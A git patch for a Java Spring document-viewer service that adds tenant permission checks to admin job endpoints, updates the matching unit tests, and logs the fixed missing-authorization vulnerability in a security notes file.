From 46a6d664bace076abe0a14c864638bc3f57e6b5c Mon Sep 17 00:00:00 2001 From: seonghobae <8172694+seonghobae@users.noreply.github.com> Date: Tue, 11 Aug 2026 21:23:33 +0000 Subject: [PATCH] =?UTF-8?q?fix(security):=20AdminController=EC=97=90=20?= =?UTF-8?q?=ED=85=8C=EB=84=8C=ED=8A=B8=20=EC=A0=91=EA=B7=BC=20=EC=A0=9C?= =?UTF-8?q?=EC=96=B4=20=EC=B6=94=EA=B0=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit AdminController의 모든 엔드포인트에 TenantAccessService를 주입하고, admin:access 권한을 요구하도록 수정하여 인증 누락 취약점을 해결했습니다. AdminControllerTest에도 모의(mock) 인가 테스트를 추가했습니다. --- .jules/sentinel.md | 5 ++ .../viewer/auth/TenantPermissions.java | 5 ++ .../viewer/controller/AdminController.java | 49 ++++++++++++++----- .../controller/AdminControllerTest.java | 23 ++++++++- 4 files changed, 70 insertions(+), 12 deletions(-) diff --git a/.jules/sentinel.md b/.jules/sentinel.md index e795cb9d..7acaa85a 100644 --- a/.jules/sentinel.md +++ b/.jules/sentinel.md @@ -32,3 +32,8 @@ **Vulnerability:** The document hashing routine in `DefaultDocumentConversionService` processed file streams without enforcing any maximum size limit on the bytes read. An attacker could exploit this by uploading a maliciously large stream (or exploiting a compression bomb if unzipping), exhausting system memory, CPU, or disk space (DoS). **Learning:** Checking the declared file size (e.g., `file.getSize()`) in initial validation is not always sufficient if the input stream itself can be spoofed or dynamically expanded during reading. The actual bytes read must be verified against bounds continuously. **Prevention:** Always enforce a strict, configurable size limit (e.g., `ConversionProperties.maxUploadSizeBytes`) within the `while` loop that reads from untrusted input streams. Track `totalRead` and throw an exception immediately if the limit is exceeded. + +## 2026-08-11 - 관리자 엔드포인트 인증 누락 +**Vulnerability:** `AdminController`의 엔드포인트(`/api/v1/admin/convert/jobs` 등)에 어떠한 인가(authorization)나 테넌트 접근 제어(tenant access checks)도 누락되어 있었습니다. +**Learning:** 명시적인 엔드포인트 수준의 보안 검사가 없는 Spring 컴포넌트는 글로벌 설정에 의존하게 되는데, 이 컨트롤러에 대해서는 해당 설정이 누락되어 있었습니다. +**Prevention:** 민감한 엔드포인트를 새로 추가할 때는 반드시 `TenantAccessService`를 주입하고 적절한 권한(예: `admin:access`)을 요구하는지 확인해야 합니다. diff --git a/src/main/java/com/clearfolio/viewer/auth/TenantPermissions.java b/src/main/java/com/clearfolio/viewer/auth/TenantPermissions.java index 4f9c6a68..0813a486 100644 --- a/src/main/java/com/clearfolio/viewer/auth/TenantPermissions.java +++ b/src/main/java/com/clearfolio/viewer/auth/TenantPermissions.java @@ -55,6 +55,11 @@ public final class TenantPermissions { */ public static final String ANALYTICS_READ = "analytics:read"; + /** + * Permission required to perform administrative actions. + */ + public static final String ADMIN_ACCESS = "admin:access"; + private TenantPermissions() { } } diff --git a/src/main/java/com/clearfolio/viewer/controller/AdminController.java b/src/main/java/com/clearfolio/viewer/controller/AdminController.java index 412d4eb8..3c07de4d 100644 --- a/src/main/java/com/clearfolio/viewer/controller/AdminController.java +++ b/src/main/java/com/clearfolio/viewer/controller/AdminController.java @@ -4,17 +4,21 @@ import java.util.List; import java.util.UUID; +import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.DeleteMapping; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.server.ResponseStatusException; import com.clearfolio.viewer.api.AdminJobListResponse; +import com.clearfolio.viewer.auth.TenantAccessService; +import com.clearfolio.viewer.auth.TenantPermissions; import com.clearfolio.viewer.model.ConversionJob; import com.clearfolio.viewer.service.DocumentConversionService; import com.clearfolio.viewer.service.RetryDeadLetterResult; @@ -25,26 +29,38 @@ @RestController public class AdminController { - private final DocumentConversionService conversionService; + /** Document conversion service. */ + private final DocumentConversionService conversionSvc; + + /** Tenant access service. */ + private final TenantAccessService tenantAccessSvc; /** * Creates a controller for admin operations. * * @param conversionService conversion service + * @param tenantAccessService tenant access service */ - public AdminController(DocumentConversionService conversionService) { - this.conversionService = conversionService; + public AdminController( + final DocumentConversionService conversionService, + final TenantAccessService tenantAccessService) { + this.conversionSvc = conversionService; + this.tenantAccessSvc = tenantAccessService; } /** * Retrieves all conversion jobs, optionally filtered by dead-letter status. * * @param deadLettered optional filter for dead-lettered jobs + * @param headers request headers * @return list of conversion jobs */ @GetMapping("/api/v1/admin/convert/jobs") - public AdminJobListResponse getAllJobs(@RequestParam(required = false) Boolean deadLettered) { - Iterable allJobs = conversionService.getAllJobs(); + public AdminJobListResponse getAllJobs( + @RequestParam(required = false) final Boolean deadLettered, + @RequestHeader final HttpHeaders headers) { + tenantAccessSvc.require(headers, TenantPermissions.ADMIN_ACCESS); + Iterable allJobs = conversionSvc.getAllJobs(); if (deadLettered == null) { return AdminJobListResponse.from(allJobs); @@ -63,11 +79,15 @@ public AdminJobListResponse getAllJobs(@RequestParam(required = false) Boolean d * Deletes a conversion job. * * @param jobId conversion job identifier + * @param headers request headers * @return no content on success */ @DeleteMapping("/api/v1/admin/convert/jobs/{jobId}") - public ResponseEntity deleteJob(@PathVariable UUID jobId) { - conversionService.deleteJob(jobId); + public ResponseEntity deleteJob( + @PathVariable final UUID jobId, + @RequestHeader final HttpHeaders headers) { + tenantAccessSvc.require(headers, TenantPermissions.ADMIN_ACCESS); + conversionSvc.deleteJob(jobId); return ResponseEntity.noContent().build(); } @@ -75,16 +95,23 @@ public ResponseEntity deleteJob(@PathVariable UUID jobId) { * Retries a dead-lettered conversion job. * * @param jobId conversion job identifier + * @param headers request headers * @return accepted response on success */ @PostMapping("/api/v1/admin/convert/jobs/{jobId}/retry") - public ResponseEntity retryDeadLettered(@PathVariable UUID jobId) { - RetryDeadLetterResult result = conversionService.retryDeadLettered(jobId, "admin"); + public ResponseEntity retryDeadLettered( + @PathVariable final UUID jobId, + @RequestHeader final HttpHeaders headers) { + tenantAccessSvc.require(headers, TenantPermissions.ADMIN_ACCESS); + RetryDeadLetterResult result = conversionSvc.retryDeadLettered( + jobId, "admin"); if (result == RetryDeadLetterResult.NOT_FOUND) { - throw new ResponseStatusException(HttpStatus.NOT_FOUND, "job not found"); + throw new ResponseStatusException( + HttpStatus.NOT_FOUND, "job not found"); } if (result == RetryDeadLetterResult.NOT_ELIGIBLE) { - throw new ResponseStatusException(HttpStatus.CONFLICT, "job is not eligible for retry"); + throw new ResponseStatusException( + HttpStatus.CONFLICT, "job is not eligible for retry"); } return ResponseEntity.accepted().build(); } diff --git a/src/test/java/com/clearfolio/viewer/controller/AdminControllerTest.java b/src/test/java/com/clearfolio/viewer/controller/AdminControllerTest.java index ad63a801..7b2f5d40 100644 --- a/src/test/java/com/clearfolio/viewer/controller/AdminControllerTest.java +++ b/src/test/java/com/clearfolio/viewer/controller/AdminControllerTest.java @@ -1,5 +1,7 @@ package com.clearfolio.viewer.controller; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; @@ -8,8 +10,11 @@ import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; +import org.springframework.http.HttpHeaders; import org.springframework.test.web.reactive.server.WebTestClient; +import com.clearfolio.viewer.auth.TenantAccessService; +import com.clearfolio.viewer.auth.TenantContext; import com.clearfolio.viewer.model.ConversionJob; import com.clearfolio.viewer.service.DocumentConversionService; import com.clearfolio.viewer.service.RetryDeadLetterResult; @@ -17,13 +22,15 @@ class AdminControllerTest { private DocumentConversionService conversionService; + private TenantAccessService tenantAccessService; private WebTestClient webTestClient; private AdminController controller; @BeforeEach void setUp() { conversionService = mock(DocumentConversionService.class); - controller = new AdminController(conversionService); + tenantAccessService = mock(TenantAccessService.class); + controller = new AdminController(conversionService, tenantAccessService); webTestClient = WebTestClient.bindToController(controller) .controllerAdvice(new ApiExceptionHandler()) .build(); @@ -34,9 +41,11 @@ void getAllJobsReturnsAllJobsWhenNoFilterProvided() { ConversionJob job1 = new ConversionJob(UUID.randomUUID(), "a.pdf", "application/pdf", "hash-a", 100L); ConversionJob job2 = new ConversionJob(UUID.randomUUID(), "b.pdf", "application/pdf", "hash-b", 100L); when(conversionService.getAllJobs()).thenReturn(Arrays.asList(job1, job2)); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.get() .uri("/api/v1/admin/convert/jobs") + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isOk() .expectBody() @@ -52,9 +61,11 @@ void getAllJobsFiltersByDeadLetteredTrue() { ConversionJob job2 = new ConversionJob(UUID.randomUUID(), "b.pdf", "application/pdf", "hash-b", 100L); when(conversionService.getAllJobs()).thenReturn(Arrays.asList(job1, job2)); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.get() .uri("/api/v1/admin/convert/jobs?deadLettered=true") + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isOk() .expectBody() @@ -69,9 +80,11 @@ void getAllJobsFiltersByDeadLetteredFalse() { ConversionJob job2 = new ConversionJob(UUID.randomUUID(), "b.pdf", "application/pdf", "hash-b", 100L); when(conversionService.getAllJobs()).thenReturn(Arrays.asList(job1, job2)); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.get() .uri("/api/v1/admin/convert/jobs?deadLettered=false") + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isOk() .expectBody() @@ -82,9 +95,11 @@ void getAllJobsFiltersByDeadLetteredFalse() { @Test void deleteJobReturnsNoContent() { UUID jobId = UUID.randomUUID(); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.delete() .uri("/api/v1/admin/convert/jobs/" + jobId) + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isNoContent(); } @@ -93,9 +108,11 @@ void deleteJobReturnsNoContent() { void retryDeadLetteredReturnsAcceptedWhenAccepted() { UUID jobId = UUID.randomUUID(); when(conversionService.retryDeadLettered(jobId, "admin")).thenReturn(RetryDeadLetterResult.ACCEPTED); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.post() .uri("/api/v1/admin/convert/jobs/" + jobId + "/retry") + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isAccepted(); } @@ -104,9 +121,11 @@ void retryDeadLetteredReturnsAcceptedWhenAccepted() { void retryDeadLetteredReturnsNotFoundWhenNotFound() { UUID jobId = UUID.randomUUID(); when(conversionService.retryDeadLettered(jobId, "admin")).thenReturn(RetryDeadLetterResult.NOT_FOUND); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.post() .uri("/api/v1/admin/convert/jobs/" + jobId + "/retry") + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isNotFound(); } @@ -115,9 +134,11 @@ void retryDeadLetteredReturnsNotFoundWhenNotFound() { void retryDeadLetteredReturnsConflictWhenNotEligible() { UUID jobId = UUID.randomUUID(); when(conversionService.retryDeadLettered(jobId, "admin")).thenReturn(RetryDeadLetterResult.NOT_ELIGIBLE); + when(tenantAccessService.require(any(), eq("admin:access"))).thenReturn(mock(TenantContext.class)); webTestClient.post() .uri("/api/v1/admin/convert/jobs/" + jobId + "/retry") + .header(HttpHeaders.AUTHORIZATION, "Bearer dummy") .exchange() .expectStatus().isEqualTo(409); // isConflict() isn't always available depending on spring-test version, so using isEqualTo(409) is safer }